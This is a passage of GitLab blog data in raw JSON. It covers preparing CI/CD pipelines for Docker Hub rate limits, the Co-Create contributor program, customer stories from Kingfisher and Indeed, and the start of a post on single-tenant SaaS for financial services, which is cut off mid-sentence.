|\n\n\n\u003Cp>\u003C/p>\n\nThis is particularly important because:\n\n\n* GitLab's Dependency Proxy currently pulls from Docker Hub as an\nunauthenticated user.\n\n* Most CI/CD pipelines that don't use the Dependency Proxy pull directly\nfrom Docker Hub as unauthenticated users.\n\n* On hosted runners for GitLab.com, multiple users might share the same IP\naddress or subnet, making them collectively subject to this limit.\n\n\n## How this impacts GitLab users\n\n\n**Impact on direct Docker Hub pulls**\n\n\nIf your CI/CD pipelines directly pull images from Docker Hub without\nauthentication, they will be limited to 100 pulls per six-hour window per IP\naddress. For pipelines that run frequently or across multiple projects\nsharing the same runner infrastructure, this will quickly exhaust the limit\nand cause pipeline failures.\n\n\n**Impact on GitLab Dependency Proxy**\n\n\nThe GitLab Dependency Proxy feature allows you to cache Docker images within\nGitLab to speed up pipelines and reduce external dependencies. However, the\ncurrent implementation pulls from Docker Hub as an unauthenticated user,\nmeaning it will also be subject to the 100 pulls-per-6-hours limit.\n\n\n**Impact on hosted runners**\n\n\nFor hosted runners on GitLab.com, we use [Google Cloud's pull-through\ncache](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images).\nThis mirrors the commonly pulled images and allows us to avoid rate limits.\nJob images defined as `image:` or `services:` in your `.gitlab-ci.yml` file,\nare not affected by rate limits.\n\n\nThings are slightly more challenging whenever images are pulled within the\nrunner environment. The most common use case to pull images during runner\nruntime is to build an image using Docker-in-Docker or Kaniko. In this\nscenario, the Docker Hub image defined in your `Dockerfile` is pulled\ndirectly from Docker Hub and is likely to be affected by rate limits.\n\n\n## How GitLab is responding\n\n\nWe're actively working on solutions to mitigate these challenges:\n\n\n* **Dependency Proxy authentication:** We've added support for Docker Hub\nauthentication in the [GitLab Dependency Proxy\nfeature](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). This will\nallow the Dependency Proxy to pull images from Docker Hub as an\nauthenticated user, significantly increasing the rate limits.\n\n* **Documentation updates:** We've updated our\n[documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials)\nto provide clear guidance on configuring pipeline authentication for Docker\nHub.\n\n* **Internal infrastructure preparation:** We're preparing our internal\ninfrastructure to minimize the impact on hosted runners for GitLab.com.\n\n\n## How you can prepare\n\n\n**Option 1: Configure Docker Hub authentication in your pipelines**\n\n\nFor pipelines that pull directly from Docker Hub, you can configure\nauthentication to increase your rate limit to 200 pulls per six-hour window\n(or unlimited with a paid Docker Hub subscription).\n\n\nAdd Docker Hub credentials to your project or group CI/CD variables (not in\nyour `.gitlab-ci.yml` file). Please refer to our [documentation on using\nDocker\nimages](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials)\nfor detailed instructions on setting up the `DOCKER_AUTH_CONFIG` CI/CD\nvariable correctly.\n\n\n**Option 2: Use the GitLab Container Registry**\n\n\nConsider pushing your frequently used Docker images to your [GitLab\nContainer\nRegistry](https://docs.gitlab.com/user/packages/container_registry/). This\neliminates the need to pull from Docker Hub during CI/CD runs:\n\n\n1. Pull the image from Docker Hub.\n\n2. Tag it for your GitLab Container Registry.\n\n3. Push it to your GitLab Container Registry.\n\n4. Update your pipelines to pull from GitLab Container Registry.\n\n\n```\n\ndocker pull busybox:latest\n\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\n\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n\n```\n\n\nThen in your `.gitlab-ci.yml`:\n\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n\n**Option 3: Use GitLab Dependency Proxy**\n\n\nGitLab's Dependency Proxy feature provides a way to cache and proxy Docker\nimages, reducing external dependencies and rate limit issues.\n\n\nCurrent authentication options:\n\n* GitLab 17.10: Configure Docker Hub authentication for the Dependency Proxy\nusing [GraphQL\nAPI](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n\n* GitLab 17.11: Use the new UI-based configuration in your group's settings\n(already available on GitLab.com)\n\n\nOnce authentication is properly configured, you can:\n\n\n1. Configure Docker Hub credentials in your group's Dependency Proxy\nsettings:\n  - For GitLab 17.11+ (or current GitLab.com): Navigate to your group's settings > Packages & Registries > Dependency Proxy.\n  - For GitLab 17.10: Use the GraphQL API to configure authentication.\n2. Update your pipelines to use the Dependency Proxy URLs in your CI/CD\nconfiguration:\n\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n\n**Option 4: Consider a Docker Hub paid subscription**\n\n\nFor organizations with heavy Docker Hub usage, upgrading to a paid Docker\nsubscription (Team or Business) will provide unlimited pulls, which may be\nthe most straightforward solution.\n\n\n## Best practices to reduce Docker Hub rate limit impact\n\n\nRegardless of which option you choose, consider these best practices to\nminimize Docker Hub rate limit impact:\n\n\n* Use specific image tags instead of `latest` to avoid unnecessary pulls.\n\n* Consolidate your Docker files to use the same base images across projects.\n\n* Schedule less critical pipelines to run outside of peak hours.\n\n* Use caching effectively to avoid pulling the same images repeatedly.\n\n\n**Note:** According to Docker Hub\n[documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition),\nthe pull count is incremented when pulling the image manifest, not based on\nimage size or number of layers.\n\n\n## Timeline and next steps\n\n\n**Now**\n  * Implement authentication for direct Docker Hub pulls.\n  * GitLab.com users can already configure Docker Hub authentication for the Dependency Proxy using either:\n    * The GraphQL API, or\n    * The UI in group settings\n  * Self-managed GitLab 17.10 users can configure Dependency Proxy authentication using the GraphQL API.\n\n**April 1, 2025**\n  * Docker Hub rate limits go into effect.\n\n**April 17, 2025**\n  * GitLab 17.11 will be released with UI-based Dependency Proxy authentication support for self-managed instances. \n\nWe recommend taking action well before the April 1 deadline to avoid\nunexpected pipeline failures. For most users, configuring the Dependency\nProxy with Docker Hub authentication is the most efficient long-term\nsolution.\n\n\n> Have questions or need implementation help? Please visit [this\nissue](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) where our team\nis actively providing support.\n",[109,745,486],{"slug":898,"featured":91,"template":798},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":707,"slug":711,"posts":900},[901,915,926],{"content":902,"config":913},{"title":903,"description":904,"authors":905,"heroImage":907,"date":908,"body":909,"category":711,"tags":910},"The Co-Create Program: How customers are collaborating to build GitLab","Learn how organizations like Thales, Scania, and Kitware are partnering with GitLab engineers to contribute meaningful features that benefit the entire community.",[906],"Fatima Sarah Khalid","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","This past year, over 800 community members have made more than 3,000 contributions to GitLab. These contributors include team members from global organizations like Thales, Scania, and Kitware, who are helping shape GitLab's future through the [Co-Create Program](https://about.gitlab.com/community/co-create/) — GitLab's collaborative development program where customers work directly with GitLab engineers to contribute meaningful features to the platform.\n\nThrough workshops, pair programming sessions, and ongoing support, program participants get hands-on experience with GitLab's architecture and codebase while solving issues or improving existing features.\n\n\"Our experience with the Co-Create Program has been incredible,\" explains Sébastien Lejeune, open source advocate at Thales. \"It only took two months between discussing our contribution with a GitLab Contributor Success Engineer and getting it live in the GitLab release.\"\n\nIn this post, we'll explore how customers have leveraged the Co-Create Program to turn their ideas into code, learning and contributing along the way.\n\n## The Co-Create experience\n[The GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) helps contributors get started developing on GitLab. \"The advice I would give new contributors is to remember that you can't break anything with the GDK,\" says Hook. \"If you make a change and it doesn't work, you can undo it or start again. The beauty of GDK is that you can tinker, test, and learn without worrying about the environment.\"\n\nEach participating organization in the Co-Create Program receives support throughout their contribution journey:\n\n- __Technical onboarding workshop__: A dedicated session to set up the GitLab Development Kit (GDK) and understand GitLab's architecture\n- __1:1 engineering support__: Access to GitLab engineers for pair programming and technical guidance\n- __Architecture deep dives__: Focused sessions on specific GitLab components relevant to the issue the organization is contributing to\n- __Code review support__: Detailed feedback and guidance through the merge request process\n- __Regular check-ins__: Ongoing collaboration to ensure progress and address any challenges\n\nThis structure ensures that teams can contribute effectively, regardless of their prior experience with GitLab's codebase or the Ruby/Go programming language. As John Parent from Kitware notes, \"If you've never seen or worked with GitLab before, you're staring at a sophisticated architecture and so much code across different projects. The Co-Create Program helps distill what would take weeks of internal training into a targeted crash course.\"\n\nThe result is a program that not only helps deliver new features but also builds lasting relationships between GitLab and its user community. \"It's inspiring for our engineers to see the passion our customers bring to contributing to and building GitLab together,\" shares Shekhar Patnaik, principal engineer at GitLab. \"Customers get to see the 'GitLab way,' and engineers get to witness their commitment to shaping the future of GitLab.\"\n\n## Enhancing project UX with Thales\nWhen Thales identified opportunities to improve GitLab's empty project UI, they didn't just file a feature request — they built the solution themselves. Their contributions focused on streamlining the new project setup experience by simplifying SSH/HTTPS configuration with a tabbed interface and adding copy/paste functionality for the code snippets. These changes had a significant impact on developer workflows.\n\nThe team's impact extended beyond the UX improvements. Quentin Michaud, PhD fellow for cloud applications on the edge at Thales, contributed to improving the GitLab Development Kit (GDK). As a package maintainer for Arch Linux, Michaud's expertise helped improve GDK's documentation and support its containerization efforts, making it easier for future contributors to get started.\n\n\"My open source experience helped me troubleshoot GDK's support for Linux distros,” says Michaud. “While improving package versioning documentation, I saw that GitLab's Contributor Success team was also working to set up GDK into a container. Seeing our efforts converge was a great moment for me — it showed how open source collaboration can help build better solutions.\"\n\nThe positive experience for the Thales team means that Lejeune now uses the Co-Create Program as \"a powerful example to show our managers the return on investment from open source contributions.\"\n\n## Advancing package support with Scania\nWhen Scania needed advanced package support in GitLab, they saw an opportunity to contribute and build it themselves. \n\n\"As long-time GitLab users who actively promote open source within our organization, the Co-Create Program gave us a meaningful way to contribute directly to open source,\" shares Puttaraju Venugopal Hassan, solution architect at Scania.\n\nThe team started with smaller changes to familiarize themselves with the codebase and review process, then progressed to larger features. \"One of the most rewarding aspects of the Co-Create Program has been looking back at the full, end-to-end process and seeing how far we've come,\" reflects Océane Legrand, software developer at Scania. \"We started with discovery and smaller changes, but we took on larger tasks over time. It's great to see that progression.\" \n\nTheir contributions include bug fixes for the package registry and efforts to enhance the Conan package registry feature set, bringing it closer to general availability (GA) readiness while implementing Conan version 2 support. Their work and collaboration with GitLab demonstrates how the Co-Create Program can drive significant improvements to GitLab’s package registry capabilities.\n\n\"From the start, our experience with the Co-Create Program was very organized. We had training sessions that guided us through everything we needed to contribute. One-on-one sessions with a GitLab engineer also gave us an in-depth look at GitLab’s package architecture, which made the contribution process much smoother,\" said Juan Pablo Gonzalez, software developer at Scania. \n\nThe impact of the program goes beyond code — program participants are also building valuable skills as a direct result of their contributions. In [the GitLab 17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), both Legrand and Gonzalez were recognized as GitLab MVPs. Legrand talked about how the work she's doing in open source impacts both GitLab and Scania, including building new skills for her and her team: \"Contributing through the Co-Create Program has given me new skills, like experience with Ruby and background migrations. When my team at Scania faced an issue during an upgrade, I was able to help troubleshoot because I'd already encountered it through the Co-Create Program.\"\n\n## Optimizing authentication for high-performance computing with Kitware\nKitware brought specialized expertise from their work with national laboratories to improve GitLab's authentication framework. Their contributions included adding support for the OAuth2 device authorization grant flow in GitLab, as well as implementing new database tables, controllers, views, and documentation. This contribution enhances GitLab's authentication options, making it more versatile for devices without browsers or with limited input capabilities.\n\n\"The Co-Create Program is the most efficient and effective way to contribute to GitLab as an external contributor,\" shares John Parent, R&D engineer at Kitware. \"Through developer pairing sessions, we found better implementations that we might have missed working alone.\"\n\nAs a long-time open source contributor, Kitware particularly appreciated GitLab's approach to development. \"I assumed GitLab wouldn't rely on out-of-the-box solutions at its scale, but seeing them incorporate a Ruby dependency instead of building a custom in-house solution was great,” says Parent. “Coming from the C++ world, where package managers are rare, it was refreshing to see this approach and how straightforward it could be.\"\n\n## Building better together: Benefits of Co-Create\nThe Co-Create Program creates value that flows both ways. \"The program bridges a gap between us as GitLab engineers and our customers,\" explains Imre Farkas, staff backend engineer at GitLab. \"As we work with them, we hear their day-to-day challenges, the parts of GitLab they rely on, and where improvements can be made. It's great to see how enthusiastic they are about getting involved in building GitLab with us.\"\n\nThis collaborative approach also accelerates GitLab's development. As Shekhar Patnaik, principal engineer at GitLab, observes: \"Through Co-Create, our customers are helping us move our roadmap forward. Their contributions allow us to deliver critical features faster, benefitting our entire user base. As the program scales, there's a real potential to accelerate development on our most impactful features by working alongside the very people who rely on them.\"\n\n## Get started with Co-Create\nReady to turn your feature requests into reality? Whether you're looking to enhance GitLab's UI like Thales, improve package support like Scania, or optimize authentication like Kitware, the Co-Create Program welcomes organizations who want to actively shape GitLab's future while building valuable open source experience.\n\nContact your GitLab representative to learn more about participating in the Co-Create Program, or visit our [Co-Create page](https://about.gitlab.com/community/co-create/) for more information.\n",[911,847,912],"contributors","customers",{"slug":914,"featured":91,"template":798},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":916,"config":924},{"title":917,"description":918,"authors":919,"heroImage":907,"date":921,"body":922,"category":711,"tags":923},"Kingfisher transforming the developer experience with GitLab","Learn how the international company focuses on DevSecOps, including automation, to reduce complexity in workflows for better efficiency.",[920],"Sharon Gaudin","2024-11-12","Kingfisher plc, an international home improvement company, has leaned into GitLab’s end-to-end platform to help it build a DevSecOps foundation that is revolutionizing its developer experience. And the company plans to continue that improvement by increasing its use of platform features, focusing on security, simplifying its toolchain, and increasing the use of automation.\n\n> \u003Cimg align=\"left\" width=\"200\" height=\"200\" hspace=\"5\" vspace=\"5\" alt=\"Chintan Parmar\" src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176076/Blog/ro7u8p695zw9fllbk4j5.png\" style=\"float: left; margin-right: 25px;\"> “The whole point of this is to reduce friction for our engineers, taking away a lot of the complexity in their workflow, and bringing in best practices and governance,” says Chintan Parmar, site reliability engineering manager at Kingfisher. “In terms of what we've done and what we're doing at the moment, it really is about building a foundation in terms of CI/CD and changing the way we deploy to bring in consistency and improve the developer experience.”\n\nParmar talked about his team and their efforts during the [GitLab DevSecOps World Tour event](https://about.gitlab.com/events/devsecops-world-tour/) in London last month. In an on-stage interview with Sherrod Patching, vice president of Customer Success Management at GitLab, he laid out Kingfisher’s journey with the platform, which is enabling its teams, while also making it easier and faster to move software updates and new projects from ideation to deployment.\n\n[Kingfisher](https://www.kingfisher.com/en/index.html) is a parent company with more than 2,000 stores in eight countries across Europe. Listed on the London Stock Exchange and part of the Financial Times Stock Exchange (FTSE) 100 Index, the group reported £13 billion in total revenue in FY 2023/24. Its brands include B&Q, Screwfix, Castorama, and Brico Depot. \n\nThe company first adopted GitLab in 2016, using a free starter license, and then moved to Premium in 2020. In that time, it also has moved from on-premise to a cloud environment, started using shared GitLab runners and source code management, and began building out a CI/CD library that gives team members easy access to standardized and reusable components for typical pipeline stages, such as build, deploy, and test.\n\n## Tracking metrics that execs care about\n\nKingfisher also is tracking metrics, like deployment frequency, lead time to change, and change failure rates, with GitLab. And teams are analyzing value streams, mapping workflows, and finding bottlenecks. All of those metrics are being translated into data that company leaders can sink their teeth into. \n\n“Execs may not care about whether a merge request has been waiting 15 or 20 minutes, but they do care about how we translate that time value into dollars or pounds,” says Parmar, who used GitLab when he previously worked at [Dunelm Group, plc,](https://about.gitlab.com/customers/dunelm/) another major UK-based retailer. “Kingfisher is a very data-driven organization. We are looking to overlay these metrics to see where we can continue to improve our developer experience, eliminating slowdowns and manual tasks, while increasing automation.”\n\nWhile on-stage, Parmar made it clear that all the changes being made are aimed at improving software development and deployment. However, it’s equally paramount to making team members’ jobs easier, giving them more time and autonomy to do the kind of work they enjoy, instead of what can seem like a never-ending stream of repetitive, manual tasks. He noted that the team is so focused on easing workflows and giving engineers more time to be innovative, it has created a “developer experience squad.”\n\n## Putting people first while laying out priorities\n\nSo what’s coming next for Kingfisher and its engineering squads, which have about 600 practitioners?  \n\nAccording to Parmar, Kingfisher already has its priorities mapped out. Using GitLab to [move security left](https://about.gitlab.com/solutions/security-compliance/) is at the top of their list. The group also is focused on continuing to reduce its toolchain, and using automation to increase productivity. And he expects that early in 2025, teams will begin “dabbling” with the artificial intelligence capabilities in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features in the platform that help increase velocity and solve key pain points across the software development lifecycle. Kingfisher will focus on how that can further increase its efficiency and productivity. \n\nTo get all of this done, Parmar says the first step is to ensure that people come first.\n\n“We’re focused on the hearts and minds of our people... and remembering that people can be attached to how they work through pipelines,” he adds. “People have different ways of building their pipelines. We need to understand what they need, what their workflows look like, and then work with them to find the right solution. After, we’ll go back to them with data that shows the improvements worked. So instead of telling them what they need, we find out what that is, and fix what’s slowing them down. That builds a very good rapport with our engineers.”\n\nChanging how a team creates and deploys software is a journey. Parmar suggests that collaboratively taking developers and security teams on that journey, instead of dragging them along, makes a big difference in ease of migration and in easing team members’ user experience.\n\n> Learn [how other GitLab customers use the DevSecOps platform](https://about.gitlab.com/customers/) to gain results for customers.\n",[912,486,718,795],{"slug":925,"featured":91,"template":798},"kingfisher-transforming-the-developer-experience-with-gitlab",{"content":927,"config":937},{"title":928,"description":929,"authors":930,"heroImage":932,"date":933,"body":934,"category":711,"tags":935},"How Indeed transformed its CI platform with GitLab","The world's #1 job site migrated thousands of projects to GitLab CI, boosting productivity and cutting costs. Learn the benefits they realized, including a 79% increase in daily pipelines.",[931],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Editor's note: From time to time, we invite members of our customer community to contribute to the GitLab Blog. Thanks to Carl Myers, Manager of CI Platforms at Indeed, for sharing your experience with GitLab.***\n\nHere at Indeed, our mission is to help people get jobs. Indeed is the [#1 job site](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) in the world with more than 350 million unique visitors every month.\n\nFor Indeed's Engineering Platform teams, we have a slightly different motto: \"We help people to help people get jobs.\" As part of a data-driven engineering culture that has spent the better part of two decades always putting the job seeker first, we are responsible for building the tools that not only make this possible, but empower engineers to deliver positive outcomes to job seekers every day.\n\nGitLab Continuous Integration has allowed Indeed’s CI Platform team of just 11 people to effectively support thousands of users across the company. Other benefits Indeed has realized by moving to GitLab CI include:\n- 79% increase in daily pipelines\n- 10-20% lower CI hardware costs\n- Decreased support burden\n\n## Evolving our CI platform: From Jenkins to a scalable solution\n\nLike many large technology companies, we built our CI platform organically as the company scaled, using the de facto open source and industry standard solutions available at the time. Back in 2007, when Indeed had fewer than 20 engineers, we were using Hudson, Jenkins’ direct predecessor.\n\nToday, through nearly two decades of growth, we have thousands of engineers. As new technology became available, we made incremental improvements, switching to Jenkins around 2011. Another improvement allowed us to move most of our workloads to dynamic cloud worker nodes using [AWS EC2](https://aws.amazon.com/ec2/). As we entered the Kubernetes age, however, the system architecture reached its limits.\n\nJenkins’ architecture was not created with the cloud in mind. Jenkins operates by having a \"controller\" node, a single point of failure that runs critical parts of a pipeline and farms out certain steps to worker nodes (which can scale horizontally to some extent). Controllers are also a manual scaling axis.\n\nIf you have too many jobs to fit on one controller, you must partition your jobs across controllers manually. CloudBees offers ways to mitigate this, including the CloudBees Jenkins Operations Center, which allows you to manage your constellation of controllers from a single centralized place. However, controllers remain challenging to run in a Kubernetes environment because each controller is a fragile single point of failure. Activities like node rollouts or hardware failures cause downtime.\n\nIn addition to the technical limitations baked into Jenkins itself, our CI platform also had several problems of our own making. For example, we used the Groovy Jenkins DSL to generate jobs from code in each repository. This led to each project having its own copy-pasted job pipeline, resulting in hundreds of versions that were hard to maintain and update. While Indeed’s engineering culture values flexibility and allows teams to operate in separate repositories, this flexibility became a burden as teams spent too much time addressing regular maintenance requests.\n\nRecognizing our technical debt, we turned to the [Golden Path pattern](https://tag-app-delivery.cncf.io/whitepapers/platforms/), which allows flexibility while providing a default route to simplify updates and encourage consistent practices across projects.\n\nThe CI Platform team at Indeed is not very large. Our team of around 11 engineers supports thousands of users, fielding support requests, performing upgrades and maintenance, and enabling always-on support for our global company.\n\nBecause our team not only supports our GitLab instance but also the entire CI platform, including the artifact server, our shared build code, and multiple other custom components of our platform, we had our work cut out for us. We needed a plan that would help us address our challenges while making the most efficient use of our existing resources.\n\n## Moving to GitLab CI\n\nAfter a careful design review with key stakeholders, we decided to migrate the entire company from Jenkins to GitLab CI. The primary reasons for choosing GitLab CI were:\n- We were already using GitLab for source code management.\n- GitLab is a complete offering that provides everything we need for CI.\n- GitLab CI is designed for scalability and the cloud.\n- GitLab CI enables us to write templates that extend other templates, which is compatible with our golden path strategy.\n- GitLab is open source software and the GitLab team has always been supportive in helping us submit fixes, giving us extra flexibility and reassurance.\n\nBy the time we officially announced that the GitLab CI Platform would be generally available to users, we already had 23% of all builds happening in GitLab CI from a combination of grassroots efforts and early adopters.\n\nThe challenge of the migration, however, would be the long tail. Due to the number of custom builds in Jenkins, an automated migration tool would not work for the majority of teams. Most of the benefits of the new system would not come until the old system was at 0%. Only then could we turn off the hardware and save the CloudBees license fee.\n\n## Feature parity and the benefits of starting over\n\nThough we support many different technologies at Indeed, the three most common languages are Java, Python, and JavaScript. These language stacks are used to make libraries, deployables (web services or applications), and cron jobs (a process that runs at regular intervals, for example, to build a data set in our data lake). Each of these formed a matrix of project types (Java Library, Python Cronjob, JavaScript Webapp, etc.) for which we had a skeleton in Jenkins. Therefore, we had to produce a golden path template in GitLab CI for each of these project types.\n\nMost users could use these recommended paths without change, but for those who did require customization, the golden path would still be a valuable starting point and enable them to change only what they needed, while still benefiting from centralized template updates in the future.\n\nWe quickly realized that most users, even those with customizations, were happy to take the golden path and at least try it. If they missed their customizations, they could always add them later. This was a surprising result! We thought that teams who had invested in significant customization would be loath to give them up, but in the majority of cases teams just didn't care about them anymore. This allowed us to migrate many projects very quickly — we could just drop the golden path (a small file about 6 lines long with includes) into their project, and they could take it from there.\n\n## InnerSource to the rescue\n\nThe CI Platform team also adopted a policy of \"external contributions first\" to encourage everyone in the company to participate. This is sometimes called InnerSource. We wrote tests and documentation to enable external contributions — contributions from outside our immediate team — so teams that wanted to write customizations could instead include them in the golden path behind a feature flag. This let them share their work with others and ensure we didn't break them moving forward (because they became part of our codebase, not theirs).\n\nThis also had the benefit that particular teams who were blocked waiting for a feature they needed were empowered to work on the feature themselves. We could say \"we plan to implement the feature in a few weeks, but if you need it earlier than that we are happy to accept a contribution.\" In the end, many core features necessary for parity were developed in this manner, more quickly and better than our team had resources to do it. The migration would not have been a success without this model.\n\n## Ahead of schedule and under budget\n\nOur CloudBees license expired on April 1, 2024. This gave us an aggressive target to achieve the full migration. This was particularly ambitious considering that at the time, 80% of all builds (60% of all projects) still used Jenkins for their CI. This meant over 2,000 [Jenkinsfiles](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) would still need to be rewritten or replaced with our golden path templates.\n\nTo achieve this target, we made documentation and examples available, implemented features where possible, and helped our users contribute features where they were able.\n\nWe started regular office hours, where anyone could come and ask questions or seek our help to migrate. We additionally prioritized support questions relating to migration ahead of almost everything else. Our team became GitLab CI experts and shared that expertise inside our team and across the organization.\n\nAutomatic migration for most projects was not possible, but we discovered it could work for a small subset of projects where customization was rare. We created a Sourcegraph batch change campaign to submit merge requests to migrate hundreds of projects, and poked and prodded our users to accept these MRs.\n\nWe took success stories from our users and shared them widely. As users contributed new features to our golden paths, we advertised that these features \"came free\" when you migrated to GitLab CI. Some examples included built-in security and compliance scanning, Slack notifications for CI builds, and integrations with other internal systems.\n\nWe also conducted a campaign of aggressive \"scream tests.\" We automatically disabled Jenkins jobs that hadn't run or succeeded in a while, and told users that if they needed them, they could turn them back on. This was a low-friction way to identify which jobs were actually needed. We had thousands of jobs that hadn't been run a single time since our last CI migration (which was Jenkins to Jenkins). This told us we could safely ignore almost all of them.\n\nIn January 2024, we nudged our users by announcing that all Jenkins controllers would become read-only (no builds) unless an exception was explicitly requested. We had much better ownership information for controllers and they generally aligned with our organization's structure, so it made sense to focus on controllers rather than jobs. The list of controllers was also a much more manageable list than the list of jobs.\n\nTo obtain an exception, we asked our users to find their controllers in a spreadsheet and put their contact information next to each one. This enabled us to get a guaranteed up-to-date list of stakeholders we could follow up with as we sprinted to the finish line, but also enabled users to clearly let us know which jobs they absolutely needed. At peak, we had about 400 controllers; by January we had 220, but only 54 controllers required exceptions (several of them owned by us, to run our tests and canaries).\n\n![Indeed - Jenkins Controller Count graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWe had a manageable list of around 50 teams we divided among our team and started doing outreach to understand how each team was progressing with the migration. We spent January and February discovering that some teams planned to finish their migration without our help before February 28 others were planning to deprecate their projects before then, and a very small number were very worried they wouldn't make it.\n\nWe were able to work with this smaller set of teams and provide them with “white-glove” service. We still explained that while we lacked the expertise necessary to do the migration for them, we could partner with a subject matter expert from their team. For some projects, we wrote and they reviewed; for others, they wrote and we reviewed. In the end, all of our work paid off and we turned off Jenkins on the very day we had announced 8 months earlier.\n\n## The results: Enhanced CI efficiency and user satisfaction\n\nAt its peak, our Jenkins CI platform ran over 14,000 pipelines per day and serviced our thousands of projects. Today, our GitLab CI platform has run over 40,000 pipelines in a single day and regularly runs over 25,000 per day. The incremental cost of each job of each pipeline is similar to Jenkins, but without the overhead of hardware to run the controllers. Additionally, these controllers served as single points of failure and scaling limiters that forced us to artificially divide our platform into segments. While an apples-to-apples comparison is difficult, we find that with this overhead gone our CI hardware costs are 10-20% lower. Additionally, the support burden of GitLab CI is lower since the application automatically scales in the cloud, has cross-availability-zone resiliency, and the templating language has excellent public documentation available.\n\nA benefit just as important, if not moreso, is that now we are at over 70% adoption of our golden paths. This means that we can roll out an improvement and over 5,000 projects at Indeed will benefit immediately with no action required on their part. This has enabled us to move some jobs to more cost-effective ARM64 instances, keep users' build images updated more easily, and better manage other cost saving opportunities. Most importantly, our users are happier with the new platform.\n\n__About the author:__\n*Carl Myers lives in Sacramento, CA, and is the manager of the CI Platform team at Indeed. Carl has spent his nearly two-decade career dedicated to building internal tools and developer platforms that delight and empower engineers at companies large and small.*\n\n**Acknowledgements:**\n*This migration would not have been possible without the tireless efforts of Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen, and the rest of the CI Platform team. The team also especially appreciates the leadership of Deepak Bitragunta, and Irina Tyree for helping secure buy-in, resources and company wide alignment throughout this long project. Finally, our thanks go out to everyone across Indeed who contributed code, feedback, bug reports, and helped migrate projects.*\n\n**This is an edited version of the article [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), originally published on the Indeed engineering blog.**",[912,109,936,486],"user stories",{"slug":938,"featured":91,"template":798},"how-indeed-transformed-its-ci-platform-with-gitlab",{"category":718,"slug":722,"posts":940},[941,955,969],{"content":942,"config":953},{"title":943,"description":944,"authors":945,"heroImage":948,"date":949,"category":722,"tags":950,"body":952},"Why financial services choose single-tenant SaaS","Discover how GitLab Dedicated can help financial services organizations achieve compliant DevSecOps without compromising performance.",[946,947],"George Kichukov","Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682898/Blog/Hero%20Images/cloud-security.png","2025-08-14",[561,951],"DevOps platform","Walk into any major financial institution and you'll see the contradiction immediately. Past the armed guards, through the biometric scanners, beyond the reinforced walls and multiple security checkpoints, you'll find developers building the algorithms that power global finance — on shared infrastructure alongside millions of strangers.\n\nThe software powering today's financial institutions is anything but ordinary. It includes credit risk models that protect billions in assets, payment processing algorithms handling millions of transactions, customer intelligence platforms that drive business strategy, and regulatory systems ensuring operational compliance  — all powered by source code that serves as both operational core and strategic asset.\n\n## When shared infrastructure becomes systemic risk\n\nThe rise of software-as-a-service platforms has created an uncomfortable reality for financial institutions. Every shared tenant becomes an unmanaged third-party risk, turning platform-wide incidents into industry-wide disruptions. This is the exact kind of concentration risk drawing increasing attention from regulators.\n\nJPMorgan Chase's Chief Information Security Officer Patrick Opet recently issued a stark warning to the industry in an [open letter](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) to third-party suppliers. He highlighted how SaaS adoption \"is creating a substantial vulnerability that is weakening the global economic system\" by embedding \"concentration risk into global critical infrastructure.\" The letter emphasizes that \"an attack on one major SaaS or PaaS provider can immediately ripple through its customers,” creating exactly the systemic risk that multi-tenant cloud platforms for source code management, CI builds, CD deployments, and security scanning introduce.\n\nConsider the regulatory complexity this creates. In shared environments, your compliance posture becomes hostage to potential incidents impacting other tenants as well as the concentration risks of large attack surface providers. A misconfiguration affecting any organization on the platform can trigger wider impact across the entire ecosystem. \n\nData sovereignty challenges compound this risk. Shared platforms distribute workloads across multiple regions and jurisdictions, often without granular control over where your source code executes. For institutions operating under strict regulatory requirements, this geographic distribution can create compliance gaps that are difficult to remediate.\n\nThen there's the amplification effect. Every shared tenant effectively becomes an indirect third-party risk to your operations. Their vulnerabilities increase your attack surface. Their incidents can impact your availability. Their compromises can affect your environment.\n\n## Purpose-built for what matters most\n\nGitLab recognizes that your source code deserves the same security posture as your most sensitive customer data. Rather than forcing you to choose between cloud-scale efficiency and enterprise-grade security, GitLab delivers both through [GitLab Dedicated](https://about.gitlab.com/dedicated/), purpose-built infrastructure that maintains complete isolation.\n\nYour development workflows, source code [repositories](https://docs.gitlab.com/user/project/repository/), and [CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/) run in an environment exclusively dedicated to your organization. The [hosted runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) for GitLab Dedicated exemplify this approach. These runners connect securely to your data center through outbound private links, allowing 